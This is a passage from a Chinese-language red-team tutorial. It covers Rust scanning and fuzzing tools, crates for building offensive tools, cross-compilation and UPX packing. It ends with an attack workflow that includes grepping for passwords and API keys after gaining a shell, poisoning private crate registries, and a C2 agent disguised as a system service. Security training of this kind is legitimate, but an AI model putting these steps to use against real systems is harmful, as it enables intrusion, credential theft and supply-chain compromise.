rustscan高速端口扫描pacman -S rustscanrustscan -a IP -- -sV -sC
feroxbuster目录/文件爆破pacman -S feroxbusterferoxbuster -u URL -w wordlist -x php
ripgrep (rg)文本搜索pacman -S ripgreprg -i "password" /var/www/
fd文件查找pacman -S fdfd -e conf . /etc/
x8HTTP参数发现cargo install x8x8 -u URL -w params.txt
subxtract子域名枚举cargo install subxtractsubxtract -d domain -w wordlist
bat代码/文件预览pacman -S batbat config.php
tokei代码统计cargo install tokeitokei /var/www/html/
cargo-audit依赖漏洞审计cargo install cargo-auditcargo audit
cargo-outdated过期依赖检查cargo install cargo-outdatedcargo outdated
cargo-deny依赖策略检查cargo install cargo-denycargo deny check
rustfilt符号反魔改cargo install rustfiltnm binary | rustfilt
cargo-fuzz覆盖率引导fuzzcargo install cargo-fuzzcargo fuzz run fuzz_target

常用 Crate 速查表(写红队工具用)

Crate用途版本Cargo.toml 片段
reqwestHTTP 客户端0.12reqwest = { version = "0.12", features = ["json", "cookies"] }
tokio异步运行时1tokio = { version = "1", features = ["full"] }
clapCLI 参数解析4clap = { version = "4", features = ["derive"] }
serde_jsonJSON 处理1serde_json = "1"
base64Base64 编解码0.22base64 = "0.22"
rand随机数0.8rand = "0.8"
rayon数据并行1.10rayon = "1.10"
colored终端颜色2colored = "2"
trust-dns-resolverDNS 解析0.23trust-dns-resolver = "0.23"
urlencodingURL 编解码2urlencoding = "2"
pnet原始包构造0.35pnet = "0.35"
rustls纯 Rust TLS0.23(reqwest 可选依赖)

Rust 目标架构交叉编译速查

# 安装交叉编译目标
rustup target add x86_64-pc-windows-gnu     # Windows 64位
rustup target add x86_64-unknown-linux-musl # Linux 静态链接
rustup target add aarch64-unknown-linux-gnu # ARM64 Linux
rustup target add aarch64-linux-android     # Android ARM64
rustup target add x86_64-apple-darwin       # macOS Intel (需要 macOS SDK)
 
# 编译 Windows 版本
cargo build --release --target x86_64-pc-windows-gnu
 
# 编译静态链接 Linux 版本
cargo build --release --target x86_64-unknown-linux-musl
 
# 减小二进制体积
# Cargo.toml:
# [profile.release]
# opt-level = "z"   # 优化体积
# lto = true        # 链接时优化
# codegen-units = 1 # 更好的 LTO
# strip = true      # 去除符号
 
# 进一步压缩
strip target/release/binary
upx --best --lzma target/release/binary

实战建议与攻击思路整合

侦察阶段:

  1. rustscan 快速扫描 C 段 → 发现存活主机和端口
  2. feroxbuster 对 Web 端口做目录爆破
  3. 识别后端技术栈:是 actix-web、Rocket 还是其他 Rust 框架?
  4. ripgrep 搜索泄露的 API 文档/源代码(如果有路径)

初始访问阶段:
5. 用 x8 发现隐藏的 HTTP 参数
6. 用自己写的 Rust HTTP fuzzer(实战6)测试输入验证漏洞
7. 用 WAF 绕过脚本(实战 11)测试 payload 编码变体
8. 对 Rust 后端做针对性 fuzzing(null 值、非法 UTF-8、超大输入)

后渗透阶段:
9. 拿到 shell 后,fd 快速定位配置文件/密钥/数据库文件
10. ripgrep 搜索密码、token、API key
11. bat 查看配置文件内容
12. 如果目标有 Rust 组件,用源码侦察脚本(实战 14)分析二进制

横向移动/供应链:
13. 审计目标环境中的 Cargo.toml/Cargo.lock(cargo audit
14. 检查是否有已知漏洞的依赖 → 利用这些漏洞
15. 如果目标内部有私有 crate 仓库 → 供应链投毒

持久化:
16. 用 Rust 写无依赖的 C2 agent(单文件二进制,无需运行时)
17. 伪装成正常系统服务(Rust 进程特征和 C 程序难以区分)
18. 利用 musl 静态编译 → 丢到任何 Linux 上都能跑


下一篇推荐: 回到 总目录与快速查询新手推荐学习方向 选择下一阶段学习目标。如果你已经掌握了本教程的内容,建议 [实战 14 的二进制分析] 和 [cargo-audit 依赖审计] 是投入产出比最高的两个技能点 —— 前者让你看懂目标系统和逆向 Rust 二进制,后者让你站在供应链的角度思考攻击。

练习建议:

  1. rustscan + feroxbuster 扫描一台测试靶机,记录完整流程
  2. 用本教程提供的代码(实战 8、9、10)分别编译运行一次
  3. 在 GitHub 上找一个 Rust Web 项目,用 cargo audit 审计其依赖
  4. strings + nm + objdump 分析一个 Rust 编译的二进制文件